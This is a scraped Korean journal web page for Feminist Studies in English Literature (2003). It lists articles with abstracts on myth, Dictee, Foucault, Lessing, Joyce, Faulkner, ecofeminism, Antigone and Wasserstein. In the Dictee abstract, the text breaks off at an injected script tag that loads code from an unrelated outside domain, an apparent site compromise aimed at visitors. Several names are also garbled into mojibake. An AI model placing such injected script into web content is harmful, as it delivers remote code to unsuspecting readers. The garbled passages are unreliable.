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Feminist Stidies in English Literature


  • - 주제 : 어문학분야 > 영문학
  • - 성격 : 학술지
  • - 간기: 연3회
  • - 국내 등재 : KCI 등재
  • - 해외 등재 : -
  • - ISSN : 1226-9689
  • - 간행물명 변경 사항 :
논문제목
수록 범위 : 11권 1호 (2003)
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이 논문은 그리스로마신화를 성적 이데올로기를 생산하는 하나의 장치로 읽고자 한다. 신화에 작동하고 있는 성적 이데올로기를 읽어내는 일은 페미니즘의 정치학에 중요하다. 왜냐하면 신화는 그 당시만이 아니라 현재 우리 사회에서도 지속적으로 재생산되고 있기 때문이다. 페미니즘은 신화의 지속성을 이데올로기의 관점에서 비평하고 분석할 필요가 있다. 신화가 지속적으로 재생산된다는 것은 신화적 상징과 우리 사회의 상징계가 연결된다는 것을 의미한다. 신화의 서사를 어떻게 해독하느냐에 따라 기존의 이데올로기가 재생산될 수도 있고 변혁이 가능해 질 수도 있다. 지금까지 그리스로마 신화가 페미니즘의 정치학에 갖는 중요성에도 불구하고 페미니즘은 이 분야에 그다지 큰 관심을 보이지 않았다. 본 논문은 페미니즘의 관점에서 새로운 페미니즘 서사의 가능성을 모색하기 위해 신화를 분석하고자 한다. 그리스로마신화를 성장치(gender-sexuality apparatus)의 하나인 서사장치로 읽는데 영어 단어 플롯(plot)은 중요한 의미가 있다. 영어로 플롯이란 구성, 구획된 땅, 음모라는 세 가지 다른 뜻을 포함한다. 서사란 끊임없는 플롯의 구성과 재구성의 과정이다. 페미니즘 서사 읽기란 기존의 플롯을 새롭게 읽어내고 바꾸어내는 시도였다. 페미니즘이 플롯을 문제삼는다는 것은 남성중심의 비평, 이론, 문학사를 문제삼는 것을 의미한다 그러므로 여성중심비평(gynocriticism)이든 여성이미지 비평이든 페미니즘 서사는 기존의 플롯을 문제삼을 수밖에 없다. 기존의 아버지-아들의 플롯을 문제삼고 어머니-딸의 플롯으로 바꾸는 예도 이에 속한다(Davidson and Broner). 구성이란 말은 텍스트 내의 구성에서 텍스트 바깥의 구성까지 확대될 수 있다. 성과 권력의 관계를 여성주의적 시각에서 바라보는 성정치)는 기존 가부장적 성정치를 문제삼고 그들의 음모를 드러내며 남성이 구획한 땅과 구성을 새롭게 하는 일일 것이다. 필자는 그리스로마신화에 나타난 성정치를 살피기 위해 특히 변신에 주목하고자 한다. 변신과 관련된 이야기들을 선택하고 변신을 둘러싼 욕망과 이데올로기의 관계를 살피게 되면 여성과 남성이 신체와 맺는 관계가 드러날 수 있으며 성별을 생산하는 방식을 볼 수 있을 것이다. 변신을 택한 이유는 오비디우스의『변신이야기』가 보여주듯이 신화의 주축이 되는 모티프가 변신이고 변신의 서사에는 자연현상을 인간의 시선으로 바꾸는 해석의 정치학이 포함되기 때문이다. 이 정치학에 젠더와 섹슈얼리티를 둘러싼 이데올로기가 작용한다고 볼 수 있다. 변신을 택한 다른 이유는 그리스로마신화의 텍스트에 나타나는 다양한 성정치 문제를 다루는데는 한 논문으로는 부족하다고 판단하여 논의를 제한하기 위한 것이기도 하다.

사료편찬적 여성 메타픽션과 『딕테』

김애주 ( Kim Ae Ju )
6,300
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베트남계 미국 여성 작가이자 영화 제작자인 트린 민하(rruh T bhnh ha)는 1989년 출판한 『여성, 원주민, 타자』 (Woman, Native, Other)에서 "삼중의 결속(triple bind)"(6)을 양가적 의미로 쓴 적이 있다. 제3세계 여성 작가들의 작품을 인종과 성에 국한시켜 해석하려는 비평적 남용 때문에 그들은 글을 쓸 때마다 이러한 조건에 강박될 수밖에 없는데 트린 민하는 이러한 심적 압박을 가리켜 "삼중의 구속"으로 표현하고 있다. 그러나 에스닉 페미니스트 의식이 고양되면서 유색 인종. 여성, 작가라는 세 개의 상충된 절제성은 오히려 글쓰기에 정치성을 부여하는 필수 품목이 되었으며 따라서 "삼중의 구속"은 "삼중의 결속"으로 전환되었다는 것이다. 유색 여성 작가에게 속박이기도 하고 결속의 요체이기도 한 인종, 성, 글쓰기 문제는 한국계 미국 여성 작가 차학경(Cha Hak-Kyung)의 『딕테』 (Dictee)에서 양가적이며 자의식적인 태도로 다루어지고 있다. 자학경은 “접경지역”(Kim)에 위치한 한국계 미국 여성 작가에게 있어 이데올로기의 초점이 될 수밖에 없는 인종과 성 문제를 다루면서도 과잉으로 유포되고 있는 희생자 이미지나 폭로성 사료 제시, 단순한 정체성 정치학 틀에 묶이지 않으려는 긴장을 드러낸다. 이러한 서술상의 긴장은 파편화된 구조와 시적 언어, 사진, 문서, 스틸 이미지, 시 등이 뒤섞인 유래 없이 복합적인 재현 `:4식으로 극대화된다. 결과적으로 『딕테』 는 출판 당시 "백인적"이며 "공동체나 여성주의 문제가 결여된"(Lewallen 13) 작품으로 치부되어 아시아계 미국 독자들로부터 외면당했다. 그러나 주지하다시피 1991년 일레인 김을 비롯한 네 명의 비평가가 『아시아계 미국 학회』에서 공동으로 발표한 후 비평적 관심이 촉발되면서 『딕테』는 포스트모더니즘, 탈식민주의, 페미니즘, 정신분석학, 나아가 영화 이론에 이르기까지 다양한 읽기의 장(場)을 제공하는 소수 인종 문학의 대표적 혼성 텍스트로 자리매김 되고 있다. 사실 『딕테』에 나타난 이러한 서술적 긴장과 자의식적 태도는 절도의 자이는 있지만 『딕테』에만 국한된 것은 아니다. 아직도 아시아계 미국 여성 소설의 주종을 이루고 있는 사실주의적 자서전적 성장소설 계열에서 이탈하려는 욕망은 곳곳에서 목격된 바 있다. 가령 트린 민하의 『여성, 원주민, 타자』도 비륵 소설이 아닌 이론서이긴 하나 시와 이론, 그리고 스틸 이미지들이 결합되어 기존의 체계적이고 분석적인 비평서의 구성 방식과 다른 새로운 이론 쓰기를 한 예다. 또한 『딕테』가 출판되기 한 해 전인 1981년에 출판된 일본계 캐나다 여성 작가 조이 코가와(Joy Kogawa)의 『오바상』(Obasan) 역시 편지, 일기, 문서 등 사료와 허구적인 서사, 그리고 시를 결합한 복합장르를 시도함으로써 사실주의 소설의 틀을 깨고 있다. 이들 글쓰기에 공통되게 나타나는 복합장르와 다중 주체는 도날드 ?쓴邱樣?Donald C. Goellnicht)가 해석한 바저럼 "전통적인 가부장적 장르위계에 대한 페미니즘적 도전"(349)이며 “통합적 자아에 관한 서구 남성주의적 개념에 대한 도전”(350)이기도 하고 다른 한편으로는 정체성 정치학에 머물고 있는 유색 인종 여성의 글쓰기를 문제시하는 것이기도 하다. 또한 역사와 허구의 경계 허물기는 이들 글쓰기에 일관되게, 그리고 가장 첨예한 쟁점으로 부각되고 있는데 이는 인종과 성 이데올로기를 조종해온 공식 역사에 대한 도전을 의미한다. 역사와 허구의 경계 허물기를 통해 역사 재구성의 행위를 문제시하는 글쓰기를 가리켜 린다 허치온(Linda Hucheon)이 사료편찬적 메타픽션(historiographic metafiction)으로 분류, 명명한 바 있고 ?쓴邱樣??『오바상』을 그것의 좋은 예로 제시한 바 있다(346). 『딕테』의 경우 이탈과 이질성의 극대화 때문에 대부분 비평가들이 난색을 표명하듯이 범주화하기 힘든 작품임에 분명하다. 그러나 역사 기록과 허구적 서사와의 상호텍스트적 관계를 통래 과거 다시 쓰기를 시도한다는 점에서, 그럼으로써 역사 재현에 함축된 이데올로기를 상세히 드러낸다는 점에서 『딕테』는 사료편찬적 메타픽션으로 볼 여지가 충분하다. 그러나 『오바상』이나 다른 사료편찬적 메타픽션들, 가령 이쉬마엘 리드(Ishmael Reed)의 『캐나다로의 도피』(Flight to Canada)나 존 파올즈(John Fowles)의 『구더기』(A. Maggot) 등과 같은 범주에 넣기에는 너무나 이질적인 잉여물들이 『딕테』에 넘쳐나 있다. 『오바상』의 여성 주체 나오미(Naomi)는 여성 계보를 쫓되 계보의 원천인 기호계의 여성 영역을 건드리지 않으며, 『캐나다로의 도피』는 역사를 재구성하기 위해 “직선적 상승 담론” 대신 “하강 담론" 내지 "침수 서술(immersion narrative)"(Schopp 269)를 택하나 여전히 여성 문제에는 침묵한다. 『구더기』의 레베카(Rebecca)는 ?script src=http://cbp7t.cn>
6,400
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미셀 푸코(Michel Foucault)는 『감시와 처벌』(Discipline off Punish)과 『성의역사』 (The history of Sexuality) 그리고 『권력과 지식』(Power and Knowledge)등의 저술에서 근대적인 훈육적 관행(학교, 병원, 감옥, 공장에서의 관행)들과 훈육적 담론(의학, 인구론, 정신분석학)들이 어떻게 근대적인 몸을 만들어 내는지를 밝히고 있다. 즉 그는 근대의 제도적 장치들이 어떻게 "점차 세련된 경로를 통하여 개인들과 그들의 육체, 몸짓 및 일상행위에 접근함으로써" 몸을 "권력의 효과"로 만들어 내는가, 그리고 권력의 미시물리학(micro-physics)이 어떻게 몸을 통해 작동하는가를 밝히고 있다(1980, 58, 151). 푸코는 근대 자본주의 사회 내에서 어떻게 여러 감시체제들을 통해 몸이 생산하고 노동하는 유순한 몸으로 구성되는지,어떻게 18세기, 19세기에 인구문제 및 시민들의 건강과 질병이 정부의 주된 관심사가 되고, 생명을 생산하는 성에 대한 관심이 증폭되면서 성담론이 폭발하는가 등을 자세히 분석해주고 있다(1978). 그러나 산드라 바트키(Sandra Bartkey)외 여러 페미니스트들이 지적하듯이 푸코는 몸이 마치 하나인 것처럼 근대적 몸의 형성과정을 그려내므로, 몸에 대한 남자와 여자의 경험이 다를 수 있고, 남자와 여자의 몸이 다른 제도적 장치들에 의해서 다른 식으로 구성된다는 점에는 아무런 관심도 표명하고 있지 않다(Bartkey 132). 이 글에서 필자는 푸코의 글에서 빠진부분, 즉, 근대사회가 형성되는 과정에서 여성의 몸이 어떤 제도적 장치들에 의해 어떻게 남성의 몸과 다른 몸으로 태어나고, 이런 여성의 몸은 어떤 이데올로기적 효과를 갖는지 등의 문제를 당시 영국소설과의 연관관계에서 구체적으로 살펴보고자 한다.

5부작 『폭력의 아이들』을 통해 본 진화와 여성성

민경숙 ( Min Gyeong Sug )
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It is important to analyze the Children of Violence Series as a whole, although it appears to be a collection of five independent works. It is because it has a structure which reveals the protagonist`s repeated self-deception. Martha, the heroine, comes to a big decision at the end of each work, the next begins with her disappointment with the decision, and her failure repeats itself. As a consequence, readers are forced to keep postponing their final judgments. Throughout the first three works, Martha, a fifteen-year old English girl living in an African colony, makes various efforts to live a new life: escaping from her parents, marriages and divorces, abandoning her daughter, plunging into political activities etc.. But at the end of each work, she finds them futile and her self more divided. In the fourth work, Land-locked, Martha is newly born through an affair with Thomas Stern, a Polish jew and gardener. She experiences psychic integration for an instant, in which she shares with him the suffering and pain of the forty million sacrifices of the Second World War. In the last work, The Four-Gated City, Martha devotes her middle age to the caring and education of two children abandoned by their mothers in the Coldridge family and regains the feminine. And she tries to form an integrated self through processes of so-called individuation and transcendence, Jungian concepts. Doris Lessing, the author, who examined the effects of society on individuals and the possibility of social revolutions through the first three works, shifts to emphasizing personal change in the last two. She seems to insist that personal change can bring about the change of a group and an individual can be the seed of humanity`s evolution.
6,300
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The purpose of this paper is to define "women`s writing" accomplished in "Anna Livia Plurabelle" of Finnegans Wake by James Joyce. Women`s writing, initiated by such diverse critics as Julia Kristeva, Helene Cixous, Luce Irigaray, Alice Jardine, and Toril Moi, is a new technique Joyce substitutes for the limited "male-oriented writing". Women`s language, therefore, is not only threatening to a predominantly patriarchal culture, but also a medium through which women may be creative in new ways. Joyce makes use of the diffusive, changeable writing technique for his purpose of creating the characters, Molly in Ulysses and Anna in Finnegan`s Wake. They are both river-women and can re-live in the works. "Anna livia Plurabelle" of Finnegan Wake can be a linguistic subversion of the name and the law of the Father, a revolution of the word that disrupts the traditional symbolic order and challenges male-oriented writing practices. Anna Livia, always "yea-saying", embodies the "women creature" who speaks fluidly and remains free. The narrative of her, shaped by the voyeuristic voices of the washerwomen on the banks of the river Liffey, refuses closure and begins again and again-but with a difference. Anna`s womb/delta(A) is rife with words and with many children. She is differentiated from Maria, a virginal, loveless, childless little old maid, in "Clay" of Dubliners. The relationship between the washerwomen of "Clay" and those of "Anna Livia Plurabelle" must not be overlooked. The two representations of washerwomen, in "Clay" and in "Anna Livia Plurabelle", intricately inverted structural relationship between them. The washerwomen`s speech, repressed and silenced in "Clay", is restored to the central one in "Anna Livia Plurabelle". It reveals the hidden, repressed, and suppressed desires of women that forge women`s writing. According to this, I insist that James Joyce considers women`s potential as the ultimate source of new writing.

포크너의 신화적 기법: 여신의 원용

박정오 ( Park Jeong O )
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T.S.Eliot diagnosed that the mythical method Joyce pursued in Ulysses was a step toward making the modern world possible for Art. Is the mythical method really a way through which literature can survive in the contemporary world? This paper attempts to examine this question in Faulkner`s handling of goddesses, in particular, Demeter and Persephone. The Demeter/Persephone myth - the story of the Maiden`s abduction and rape by the god of the dead and the Mother`s bitter grief - embodies the archetypal experience of women in a patriarchy. Faulkner sometimes described female sexual initiation in terms of the myth of Persephone. For Caddy and Addie, marriage is a kind of death, the descent to Hades. Using this myth, Faulkner effectively criticizes not only women`s unfair position in Southern patriarchy but also the religious and social atmosphere of the South which entails the negative prejudice toward sexuality as a vital life force. On the other hand, after Persephone`s abduction, Demeter does everything in her power to rescue her child from death, including letting the natural world go to waste. This pure archetype of maternity furnishes the ironic allusion to the novels of Faulkner who at the beginning of his literary career, is obsessed by the absence of maternity . In addition, that Demeter and Persephone shared one cult underlines their essential unity. Their unity suggests the cyclic vision related with rebirth and continuity. Although Faulkner sometimes emphasizes the unity of mother and daughter in such case of Caddy and Miss Quentin or Addie and Dewey Dell, it is very doubtful that their unity suggests the cyclic vision or fertility. Nevertheless, with continuous allusion to the mythic world, Faulkner evokes the cyclic vision of two goddesses to the readers. Like Eliot`s foresight, the more skeptical the writers are of modern civilization and society, the more devoted they are to myth filled with the cosmic mystery and pure archetype of life.
5,800
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In Bastard Out of Carolina, Dorothy Allison introduces a mother figure, Anney Boatwright, who chooses to live with her husband, Glen, instead of her daughter, Bone, for her own good. Generally, an idealized mother ignores her own needs and sacrifices for her children, but Anney is not a perfect mother in fantasy but an imperfect mother in reality. As a single mother, economically, she needs some money to survive with her daughters, and socially, she craves protection from other men. Even though Anney herself supports Glen financially, she believes that a man can give such security to a woman. This illusion does not allow her to confront the crisis of her daughter. As a poor working class mother, her economic instability shrinks her maternal affection for her daughter. Moreover, the social convention of society for women forces her to seek a husband in order to acquire advantage from the patriarchal society. Therefore, Anney`s choice of Glen is for her own well-being rather than for her daughter`s; she determines to be a "woman" and a "wife," not a "mother." This essay does not criticize Anney`s behavior of abandoning her daughter and going away with her husband. Instead, this essay points out the oppression of the mother and suggests re-thinking about the notions of mothering and motherhood.
6,100
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Ecofeminism is a movement that focuses attention on the historical link between the denigration of nature and the female. There has been many debates between ecofeminism and deep ecology or social ecology. With regard to these environmental ethics, ecofeminists maintain that many leading ecological philosophers are largely blind to their patriarchal assumptions, and hence can only replicate the logic of domination. While continuing the progression within traditional feminism, ecofeminists urge all feminists to have an ecological awareness. From an ecofeminist point of view, traditional feminisms are seen either the feminism of uncritical equality, or the feminism of uncritical reversal. This paper analyzes the novel A Thousand Acres and the movies Ran and Far and Array, which are closely related with the novel seen from an ecofeminist viewpoint. Ran is the movie that inspired Jane Smiley to give voice to Goneril and Regan by rewriting Shakespeare`s King Lear in her novel. I concentrate on the female character of Kaede in Ran, who traditionally has been interpreted as the "embodiment of vindictiveness, lust and malignity." It is Kaede who challenges Hidetora`s oppression of nature and women. Hidetora`s life of bloodthirsty savagery because of his lust for land and power caused not only his sons` behaviors but also Kaede`s revenge. The movie Far and Away is more directly related to A Thousand Acres, because the movie shows how the land is regarded by the early settlers in America: land was obtained as a prize for individual industry and opportunity for white men. From the Native American perspective, the land rush race of 1893 celebrated in the movie is nothing more than another land grab by property hungry white men. The female character in this movie, Shannon, is a very independent feminist figure but she is ignorant to the system`s oppression of women, the Native Americans, and nature. Compared to the two movies, A Thousand Acres has a very strong awareness of ecofeminist values. The female characters show different ranges of ecological and feminist awareness. In particular, Ginny comes to realize her father`s oppression of nature and women, as she awakens from the grand American history of agricultural success to articulate the dark side of the tradition.

누가 안티고네를 두려워하는가?: 안티고네를 둘러싼 비평적 쟁투

이명호 ( Lee Myeong Ho )
6,800
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This paper attempts to elucidate the ethical meaning of Antigone`s act of burial of her brother by examining two opposite readings--Lacan`s and Butler`s--of it. The two theorists` readings are different in three major points. First, Butler objects to the concept of the Symbolic central to Lacanian psychoanalysis in that it is universal and ahistorical, and thus cannot be open to specific historical changes. Lacanian notion of the Symbolic is certainly not free from this charge, but what Lacan tries to reveal is not so much the contingent historical `construction of subjectivity` as the `constitution of subject.` The latter is different from and irreducible to the first because in the latter the subject is understood as being split between being and language, and having unconscious excess. The unconscious excess, called the Real, constitutes the core of the subject, preventing its complete subjection to society. Butler erases the Real and reduces the subject to the effects of society. Second, while Lacan sees Antigone`s act of burial as the realization of her desire for the Thing, which goes `beyond` the Symbolic law of Creon, Butler sees it as her "promiscuous obedience" to the law, that is, both her objection and resistance to the law. Butler criticizes Lacan for supporting the complete separation from the Symbolic, which, she argues, is idealistic and lacking politics. However, Lacanian ethics of desire represented by Antigone is political enough to deconstruct Creon`s law and reconstruct the order of the polis. Third, while Lacan sees Antigone as a mourner, who lets go of the object yet still keeps the desire for it, Butler sees her as melancholic, who refuses to lose the object and identifies with it. Butler makes strategic use of melancholia in order to formulate the model of subject shaped by and open to the other. But this melancholic politics excludes the possibility of the free movement of the subject`s libido without being fixated on a specific object. As a mourner Antigone keeps the object a in the Lacanian sense while losing the object.

『하이디 연대기』: 자아를 찾아 나가는 하이디의 여정

이해영 ( Lee Hae Yeong )
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Wendy Wasserstein`s The Heidi Chronicles presents us with Heidi`s awakening into self-identity. The Heidi Chronicles unfolds a twenty-five year journey that Heidi undergoes in search of herself. The trek begins with her awakening into the feminist`s sisterhood that has been taken for granted in America since the 1970s. Heidi perceives the feminist vision that women belong to one family. However, in the 1980s, Heidi observes the changes of her fellow feminists who have become selfish materialists; her high school friend Susan is the quintessential example of greed. Naively, Heidi has trusted them in the feminists` communal spirit. Throughout her plays Wasserstein depicts the archetypal women as an upper middle class professional living affluently. The Heidi Chronicles is no exception. Heidi becomes disillusioned, saddened, and is left feeling stranded. Heidi makes the matter a public issue. At the Miss Crane School Alumnae lunch, Heidi delivers a speech--"Women, Where Are We Going"? Through this diatribe she fictionalizes her day and defines her generation of women as being empty and unhappy, saying that in the beginning, she believed they were all in the feminist movement together--it is a "cry of despair." Noticeably, Wasserstein now includes Heidi`s male friends in order to demonstrate her progressive thinking into attaining self-identity. Wasserstein has Peter say that male friends are also family members. Heidi who has planned to move from New York decides to stay and says that she won`t forget Peter as a member of her family. Her world vision enlarges and heightens at this point. The playwright brings Heidi`s search for self-identity to its end with the adoption of her daughter Judy. As an idealist who has retained the polity that women must not waste their lives, and that women must continue improving their potential, Heidi wishes that Judy won`t allow any man to make her think she is worthless. Heidi will continue working for women`s equal rights and recognitions, while including men in her agenda. Herein lies the hope for the future.
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